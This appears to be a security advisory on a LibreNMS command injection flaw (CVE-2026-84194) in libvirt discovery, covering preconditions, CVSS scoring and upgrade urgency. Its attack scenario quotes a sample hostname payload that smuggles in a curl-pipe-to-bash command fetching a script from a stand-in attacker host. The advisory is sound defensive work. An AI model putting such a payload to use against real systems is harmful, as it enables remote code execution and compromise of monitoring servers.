LibreNMS CVE-2026-84194

Three conditions must be simultaneously true for exploitation: (1) the attacker holds a valid LibreNMS administrator account - lower-privileged LibreNMS user roles cannot modify device hostnames in a way that reaches the vulnerable code path; (2) the libvirt discovery feature is explicitly enabled, meaning enable_libvirt=true has been set in the LibreNMS configuration, which is a non-default state requiring deliberate operator action; and (3) the LibreNMS discovery worker executes a discovery cycle against the crafted device, either via the scheduled poller or a manually triggered discovery run. Deployments without libvirt enabled - the majority of LibreNMS installations - are not exposed to this code path. The impact is bounded by the OS-level privileges of the discovery worker process user account.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N) reflects a network-accessible attack requiring administrator-level privileges with no additional complexity - the high privilege requirement is the primary mitigating factor against opportunistic exploitation. The subsequent-system metrics (SC:L/SI:L/SA:L) suggest impact is bounded by the discovery worker process, limiting lateral reach without further OS-level escalation. EPSS data was not included in the provided intelligence, so quantitative exploitation probability cannot be assessed; the CVE is not in CISA KEV and no public exploit code has been identified. Despite requiring admin access, the practical risk is not trivial: LibreNMS admin credentials are frequently shared across multiple team members, and any compromised or malicious admin can stage arbitrary OS execution without additional exploitation steps - even a mid-sized network operations team should treat upgrading to 26.4.0 as urgent rather than routine patching, particularly given the low attack complexity once the privilege threshold is cleared.

An attacker who has obtained LibreNMS admin credentials - via phishing, credential reuse, or insider access - edits a device record and sets the hostname to a value containing shell metacharacters such as '; curl http://attacker.example/shell.sh | bash; #'. When the LibreNMS discovery scheduler next runs against that device with libvirt discovery enabled, VminfoLibvirt.php concatenates the hostname into an exec() call, and the injected commands execute under the discovery worker's OS user identity. No public exploit code has been identified, but the technique is well-documented within the CWE-78 class and requires no specialized tooling.